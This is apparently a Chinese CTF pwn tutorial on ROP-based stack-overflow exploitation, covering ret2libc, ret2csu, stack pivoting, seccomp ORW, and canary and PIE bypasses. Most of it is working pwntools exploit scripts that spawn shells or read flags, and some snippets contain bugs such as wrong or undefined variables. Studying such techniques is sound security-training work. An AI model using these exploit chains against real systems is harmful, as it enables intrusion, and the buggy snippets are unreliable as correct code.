栈溢出之 ROP分类
前言
NX保护的开启导致直接注入shellcode的攻击失效
不过我们可以在栈溢出的基础上,进行ROP(Return Oriented Programming,返回导向编程),利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
ROP需要如下条件:
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。但是如果PIE开启,在每次加载程序时都变换加载地址,就不能通过 ROPgadget 等一些工具来帮助解题了。这时候需要动态获取地址。
32位和64位ROP区别:
32位的程序是不靠寄存器传参完成函数功能实现,他靠的是栈上数据传入参数。
64位程序前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中, 第7个以后的参数存放于栈中。
exp-Templates
exp.py:
from pwn import *
import os
binary_name = "./pwn"
context.bits = 64
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']
port = 0
ip = '10.13.21.1'
# p = remote(ip,port)
# libc = ELF('./libc.so.6')
p = process(binary_name)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(binary_name)
def libc_sym(s):
try:
res = libc.sym[s]
except:
log.warning("[-] Can't find sym", s)
return res
sla = lambda delim,data :p.sendlineafter(delim, data)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
sh_str = next(libc.search(b'/bin/sh'))
system = libc_sym('system')
__free_hook = libc_sym('__free_hook')
__malloc_hook = libc_sym('__malloc_hook')
__realloc_hook = libc_sym('__realloc_hook')
puts = libc_sym('puts')
# stdin = libc_sym('stdin')
# stdout = libc.sym('stdout')
def cmd(c):
sla("> ", str(c).encode())
# ------------------------------------------------------
# type your exploit here:
p.interactive()
如何寻找gadget
ROP是图灵完备的,在漏洞利用中,常用的gadget 有:
保存栈数据到寄存器
pop rdi; ret; pop rsi; ret;系统调用
syscall; ret; int 0x80;ret;影响栈结构的gadget ,可栈迁移等
leave; ret; pop rbp; ret;
ret2text
有后门
ret2shellcode
存在RWX段
一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码
# 三十二位
shellcode = asm(shellcraft.sh())
# 六十四位
shellcode = asm(shellcraft.amd64.sh())ret2syscall
系统调用大法好!
常用于静态编译的程序
execve(“/bin/sh”,NULL,environ) 必能返回shell, 比system(‘/bin/sh’)稳定
查看系统调用号
32位vim /usr/include/x86_64-linux-gnu/asm/unistd_32.h
cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep read
64位vim /usr/include/x86_64-linux-gnu/asm/unistd_64.h
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep read
注意,有时静态编译的程序溢出点ida不准确,需要gdb调试察看:
生成paddding:cyclic 40
0x1. 当溢出空间充足,可往程序中的bss段写入/bin/sh,最终ROP执行execve系统调用
64位:
系统调用传参为rax,rdi,rsi,rdx, syscall
pop rax ; 59
pop rdi ; "/bin/sh" 's addr
pop rsi ; 0
pop rdx ; 0
syscall示例寻找gadgetsROPgadget --binary r3 --only "pop|ret" | grep rax
alt+t ,在ida中搜索syscall 找到syscall_ret的gadgets
read调用号为0,写入/bin/sh
payload1 += flat([
pop_rax_ret,0,
pop_rdi_ret,0,
pop_rsi_ret,bss_addr,
pop_rdx_ret,8,
syscall_ret
])execve调用号为0x3b , payload
payload += flat([
pop_rax_ret,0x3b,
pop_rdi_ret,bss_addr,
pop_rsi_ret,0,
pop_rdx_ret,0,
syscall
])32位:
系统调用传参为eax,ebx,ecx,edx, int 0x80
pop eax ; 0xb
pop ebx ; "/bin/sh" 's addr
pop ecx ; 0
pop edx ; 0
int 0x80alt+t ,在ida中搜索int(5个空格)80h 招到int_0x80_ret的gadgets
简单程序往往无pop_ecx_ret,故需要找一下mov类的gadgetsROPgadget --binary r3 --only "mov|ret" | grep ecx
read调用号为3,写入/bin/sh
payload += flat([
pop_eax_ret,data_addr,
mov_ecx_ret,
pop_eax_edx_ebx_ret,3,8,0,
int80h_ret
])execve调用号为0xb,执行系统调用,payload
payload += flat([
pop_eax_ret,0,
mov_eax_to_ecx_ret,
pop_eax_edx_ebx_ret,11,0,data_addr,
int80h_ret
])ROP
64位与32位ROP区别
区别为:
传递参数,在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,而不是32中通过栈来传递参数,前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中,第7个以后的参数存放于栈中
在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。system函数,有一个指令要求rsp+0x40的值是16字节对齐。
p/x $rsp+0x40ROPgadget –binary ret2libc –only “pop|ret” | grep rdi
ROPgadget –binary ret2libc –only “ret”
ret2libc
首先需要泄露出在got表中的libc函数地址,计算其与libc中的偏移,进而得到程序加载时libc的基地址,绕过ALSR和PIE保护,再劫持函数执行流程去执行getshell或者ORW。
# payload
payload = b'a'*(offset+8)
payload += flat([
ret,
rdi,libcbase+ next(libc.search(b'/bin/sh\x00')),
libcbase+libc.sym['system']
])
)
ret2csu
当栈溢出空间足够大且got表有值时可用
ret2csu->执行execve(“/bin/sh”,0,0),是ROP溢出空间足够大的通解
去修改 rdi rsi rdx 寄存器的值
原理
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp这里我们可以利用以下几点
从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
gadget1 = gadget2 + 0x16
完整版:
使用时注意参数pop的顺序,可能有出入
def ret2csu(padding, rbx, rbp, r12, r13, r14, r15, ret_addr):
payload = padding + fakeebp# 需要加上rbp,后跟ret_addr
payload+= p64(gadgets1) # gadget1
payload+= b'b'*8 # add rsp,8
payload+= p64(rbx) # rbx 0
payload+= p64(rbp) # rbp 1
payload+= p64(r12) # call [r12+rbx*8]->jmp 某got表项(间接地址)
#正序 注意调整
payload+= p64(r13) # rdx - 参数1
payload+= p64(r14) # rsi - 参数2
payload+= p64(r15) # edi!! - 参数3,nopie可以传bss,无法传入大于4字节的如栈的地址
payload+= p64(gadgets2) # gadget2
payload += b'c' * 0x38 # 抬高7*8个字节
payload += p64(ret_addr) # 返回地址
p.sendline(payload)
简易版:
def csu(r12,r13,r14,r15,ret_addr):
gadget1= 0x400596
gadget2= 0x400580
payload = b"a"*(offset+8)
payload += p64(gadget1)
payload += b'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r13)#参数1
payload += p64(r14)#参数2
payload += p64(r15)#参数3
payload += p64(gadget2)
payload += b'c' * 0x38
payload += p64(ret_addr)
p.sendline(payload)
# 关键是找到/bin/sh的地址 和 构造执行execve
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
read_addr = elf.got['read']
offset_addr = write_addr-libc.symbols['write']
execve_addr = offset_addr + libc.symbols['execve']
csu(read_addr,0,bss_addr,16,main_addr)
p.send(p64(execve_addr)+'/bin/sh\x00')
csu(bss_base,bss_base + 8,0,0,main_addr)栈迁移(frame faking)
核心需求:由于溢出长度不够,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似
解析:

在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作
入口点
push ebp # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp出口点
leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址其中 leave 指令相当于
mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp程序正常退出时的leave是这样的:
执行完之后:
所以总结leave的效果:sp为原bp+8(4),bp为*原bp
若ret到再次leave:sp为*原bp+8(4), bp为**原bp
rsp指针在payload中游动,rbp处于高地址坚如磐石
栈溢出不外乎两种方式
- 控制程序 EIP
- 控制程序 EBP
其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下:
buffer padding|fake ebp|leave ret addr|栈迁移专属通用exp:
思路:
第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
最后的利用链可以分为:
- ret2one_gadget
- ret2system
- ret2execve(用csu,未提供)
exp:
from pwn import *
p=process('./test')
elf=ELF('./test')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
main = 0x400537
rdi=0x4005d3
read_leave=0x40054b
ret=0x400568
offset = 0x20
bss=0x601000+0x500
p.recv()
pay=b'a'*offset+p64(bss)+p64(read_leave)#rbp
p.send(pay)
pay1=b'a'*offset+p64(bss+offset)+p64(read_leave)#rsp
p.send(pay1)
pay2=p64(bss+offset+0x10)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
p.send(pay2)
leak=u64(p.recv(6)+b'\x00'*2)
libcbase=leak-libc.sym['puts']
print(hex(libcbase))
sys=libcbase+libc.sym['system']
execve =libcbase + libc.sym['execve']
sh=libcbase+next(libc.search(b'/bin/sh\x00'))
pay3=b'a'*offset+p64(bss+offset+0x20)+p64(read_leave)#rbp
p.send(pay3)
def csu(r12,r13,r14,r15,ret_addr):
gadget1 = 0x4005c6
gadget2 = 0x4005b0
# payload = b'a'*offset+b'k3ppf0r3'
payload = b'a'*8
payload += p64(gadget1)
payload += b'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r13)# rsi
payload += p64(r14)# rdi
payload += p64(r15) # rdx
payload += p64(gadget2)
payload += b'c'*0x38
payload += p64(ret_addr)
p.sendline(payload)
# pay4=p64(0)+p64(libcbase + 0x4f302)
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
p.send(pay4)
p.interactive()栈溢出沙盒
通用模板
orw
orp第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
安装流程:
sudo apt install gcc ruby-dev
gem install seccomp-tools 使用方法 :
seccomp-tools dump ./xxx示例程序:
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>
#include<linux/bpf.h>
#include<sys/types.h>
void init()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
init();
sandbox();
char buf[0x48];
printf("%s\n","Today is a good day no right man?");
read(0,buf,0x100);
}ORP
对应EXP:
from pwn import *
r=process('./good')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./good')
context.log_level='debug'
rdi=0x400843
rsi_rdx=0x400841
main = 0x400790
bss = 0x601200
r.recv()
#puts(puts_got)
pay = b'a'*0x58
pay += flat([
rdi,elf.got['puts'],
elf.plt['puts'],
main
])
r.sendline(pay)
leak = u64(r.recv(6)+'\x00'*2)
log.info(hex(leak))
libc_base=leak-libc.sym['puts']
log.info(hex(libc_base))
r.recv()
# read(0,bss,0x40)
pay1 = b'a'*0x58
pay1 += flat([
rdi,0,
rsi_rdx,bss,0x40,
libc_base+libc.sym['read'],
main
])
r.send(pay1)
r.send('flag')
r.recv()
# open read puts
# syscall(2,bss,0) => return 3
pay2 = b'a'*0x58
pay2 += flat([
rdi,0x2,
rsi_rdx,bss,0,
libc_base+libc.sym['syscall']
])
# read(3,bss,0x100)
pay2 += flat([
rdi,3,
rsi,bss,0x100,
libc_base+libc.sym['read']
])
# puts(bss)
pay2 += flat([
rdi,bss,
libc_base+libc.sym['puts'],
main
])
r.send(pay1)
print(r.recvuntil("}"))ORW
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']
orw = flat([
rdi,flag,
rsi,0,
rdx,0,
open_,
rdi,3,
rsi,buf,
rdx,0x30,
read,
rdi,1,
write
])Canary 绕过
原理:
基础知识(CTF-wiki):https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/#_1
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax值得注意的是,有些题目会魔改,将canary的位置改变
如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容。
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
四大绕过
1.泄露栈中的 Canary
I.覆盖’”\x00”字节读取
由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以\x00为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将\x0a覆盖至canary结尾的\x00覆上,这样就能顺利的读出canary的数据了,之后再将cannary-\x0a即可得到真实的canary的数据
测试程序:
//gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}利用条件:
- 存在
read作为输入,read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会,gets就不行,它意味着字符串的末尾肯定会存在\x00 - 存在
printf等读出字符串的函数 - 可以两次栈溢出
- 第一次是覆盖00字节,泄露canary
- 第二次是利用canary进行攻击
II.格式化字符串读取
首先确认当前输入的文本在栈中的位置
构造payload等于aaaa- +n个%x-
然后观察输出,直到输出中包含61616161,即4个a的ascii码。如下所示:
root@kali:~/ctf/Other/pwn/CanaryTest# ./test
Hello Hacker!
aaaa%x-%x-%x-%x-%x-%x-%x-%x-
aaaaffeea598-200-8049243-f7f05d20-0-61616161-252d7825-78252d78-数出61616161出现的位置,这里出现在栈中第6个位置,对应第6个%x
从调试我们知道从栈顶到canary的距离是0x70-0xc,而printf中的一个%x会输出4个字节,因此间隔了(0x70-0xC)/4=25个%x,因此从第6个%x开始,再输出25个%x就是canary的值
payload_1 = b'%x-' * ( 6 + 25)第二次进行溢出获取shell
利用条件:
存在格式化字符串漏洞
printf(buf);可以两次栈溢出
2.one-by-one 爆破 Canary
对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存
最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。
利用条件:
- 要求程序中有
fork函数,可以使程序扩展子程序 - 程序可以无限输入,无输出函数
3.劫持__stack_chk_fail 函数
SSP Leak, 全称是Stack Smashing Protect Leak ,这种方法没办法让我们getshell,但是我们可以利用这种方法获取到内存中的值,比如当flag在内存中储存时,我们就可以利用这个方法来读取flag
在函数结尾处检查canary时,若canary被改变,则程序在终止之前会执行__stack_chk_fail函数
如果我们可以利用程序中的漏洞(比如格式化字符串)改got表中stack_chk_fail的地址为one_gadget的地址就能getshell。
利用条件:
当flag在内存中储存时,我们就可以利用这个方法来读取flag
栈溢出的长度可以覆盖掉程序中argv[0],它默认指向文件名
glibc < 2.31, 这个方法在 glibc-2.31 之后不可用了, 具体看这个部分代码 fortify_fail.c 。
例题见:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#32c3-ctf-readme
4.覆盖 TLS 中储存的 Canary 值
当程序在创建线程的时候,顺便会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方。所以,当我们溢出足够大的字节,就可以控制TLS结构体,进而控制canary,实现ROP。
pwndbg>canary
pwndbg>search -8 0xb32920cddd17400 (canary)使用canary命令,确定当前canary的值为0xb32920cddd174c00。pwndbg顺便给出了栈上其他地方存在0xb32920cddd174c00的地址。而这些地址很有可能就是TLS中存放canary的地址。
计算一下偏移, 写个脚本逐个尝试。我们首先假设canary为0xdeadbeef,然后将函数返回地址劫持到main函数,随后我们溢出足够长的字节,并写入我们设定的canary
p = process('./tls')
p.recvuntil("How many bytes do you want to send?")
main_addr=0x0400A9D
offset = 0x1010-8
offset_tls = # unknown
payload += b'a'*offset # paddding
payload += p64(0xdeadbeef) # canary
payload += p64(0x0) # bp
payload += p64(main_addr) # ret address
payload += b'\x00'*(offset_tls-offset-8-0x10) # paddding
payload += p64(0xdeadbeef) # tls.canary
p.sendline(str(len(payload)).encode())
p.send(payload)
temp = p.recvall()
print(temp)
p.interactive()
逐个尝试,如果返回了main函数,就说明我们劫持成功。
利用条件:
溢出字节够大,通常至少一个page(4K)
创建一个线程,在线程内栈溢出
PIE 绕过
开启PIE后,动态库libc的基址还是程序本身基址、栈、vdso都发生了变化。开启ASLR+PIE后你发现二进制程序基址、got表、plt表、bss段地址都是不确定的都变成了偏移,之前的攻击方法大部分都失效了。
局部覆盖(partial overwrite)+爆破
应用程序是按页加载到内存中的,一个内存页大小为0x1000
开启PIE后单个内存页并不会受到影响,这就意味着不管基址怎么变,某一个内存页中的某一条指令的后三位十六进制数(低12位)的地址是始终不变的。
因此我们可以通过覆盖地址的后几位来实现控制程序的流程。局部覆盖的局限是它仅仅影响一个内存页,覆盖地址范围仅从0x0 – 0xfff。
三位16进制数是3*4=12bit,而12bit是1个半字节,在执行覆盖时无法操作1个半字节,所以选择写入两个字节
最后半个字节进行爆破,范围是0x0到0xf,即[0x0-0xf]610,每轮爆破16次,大约循环爆破几轮就能命中
half_byte = 0x231
while half_byte <= 0xf231:
try:
# p.process("./pwn")
log.info("half_byte: " + hex(half_byte))
payload = b'a'*(offset-8) + canary+ p64(0xb) + p16(half_byte)
p.send(payload)
out = str(p.recvuntil(b"welcome\n"))
if 'flag{' in out:
log.success(out)
break
half_byte = half_byte + 0x1000
except Exception as e:
# 程序会fork 就注释
# p.close()
print(e)信息泄露
利用 格式化字符串漏洞或覆盖’”\x00”字节泄露返回地址,该泄露功能仅用一次即可。
我们运用load_base = leak_addr – file_offset公式就可以轻易算出二级制程序加载的基址,有了基址我们就可以轻易算出各函数plt的地址。
有了plt地址,劫持流程到plt后,开启PIE的二进制程序puts@plt后面不在是地址,puts对应的got表项地址是随机的(Got表起始地址随机了),是动态算出来的,不能再向前面那样直接获得,该地址依赖ebx寄存器的值,而我们构造的payload可能会破坏保存的ebx的值导致加载puts函数的got地址错误而执行失败。
故需要得到ebx中装载的值,ebx装载的值是got.plt也就是got表起始地址。不开启PIE时,GOT表起始地址和各got表项值都是固定的。
再就可以按照绕过ASLR的信息泄露步骤,即泄露出libc基地址,完成exp。
第一步,运用程序泄露的地址计算出二进制程序加载的基址。
from pwn import *
context(arch = 'i386', log_level='debug')
p = process("./pwn")
leak_addr = u32(p.recvline())
pro_base = leak_addr - 0x6ec第二步是通过第一步计算得到的程序加载基址计算出puts函数对应puts@plt、got.plt的起始地址、puts函数got表项地址、、main函数地址,同时利用rop技术,通过上面搜寻到的rop链把got.plt的起始地址装载到ebx寄存器中,最后完成对puts函数的调用并继续泄露出puts函数在内存中的真正加载地址(泄露got表地址)。
main = pro_base + 0x68d
puts_plt = pro_base + 0x4c4
pop_ebx_ebp_ret = pro_base + 0x606
ebx = pro_base+ 0x19b0 # got.plt base addr
put_got = ebx + 0x20 # puts_got
ebp = 0x41414141 # any
...
payload = b'a'*(offset+4)
# 泄露libc base
payload += flat([
pop_ebx_ebp_ret,ebx,ebp,
puts_plt,
main,
puts_got
])
leak = u32(p.recv(4))
log.warning("leak:0x%x" % leak)
base = leak-puts_plt
log.warning('LIBC:0x%x' % base)
payload = flat([
ret,
rdi,sh_str+base,
system+base
])
sla('\n', b'\0'*0x18+payload)
p.interactive()花式栈溢出
无leak,无PIE,无Canary,只有gets
选择覆盖栈上的ld中的_dl_init+139的后两位,由于gets会附着\x00,故爆破覆盖到one_gadget
pwndbg> stack 25
00:0000│ rsp 0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
01:0008│ 0x7fffffffe3a0 ◂— 0x1
02:0010│ 0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│ 0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│ 0x7fffffffe3b8 —▸ 0x400420 ◂— sub rsp, 0x18
05:0028│ 0x7fffffffe3c0 ◂— 0x0
06:0030│ 0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│ 0x7fffffffe3d0 —▸ 0x400440 ◂— xor ebp, ebp
08:0040│ 0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│ 0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│ 0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│ 0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│ 0x7fffffffe400 ◂— 0x0
... ↓
10:0080│ 0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│ 0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│ 0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp 0x7ffff7de77a0python 脚本:
from pwn import *
context.log_level = 'debug'
elfpath = './gets'
elf = context.binary = ELF(elfpath)
def exp(ip, port):
for i in range(0x1000):
if args['REMOTE']:
p = remote(ip, port)
else:
p = process(elfpath, timeout=2)
# gdb.attach(p)
try:
payload = 0x18 * b'a' + p64(0x40059B)
for _ in range(2):
payload += b'a' * 8 * 5 + p64(0x40059B)
# 有概率在libc中报错,进而泄露libc版本
payload += b'a' * 8 * 5 + p16(i)
# payload += 'a' * 8 * 5 + '\x16\02'
p.sendline(payload)
p.sendline('ls')
data = p.recv()
print (data)
if b'flag' in data:
break
p.interactive()
p.close()
except Exception:
p.close()
continue
if __name__ == "__main__":
exp('106.75.4.189', 35273)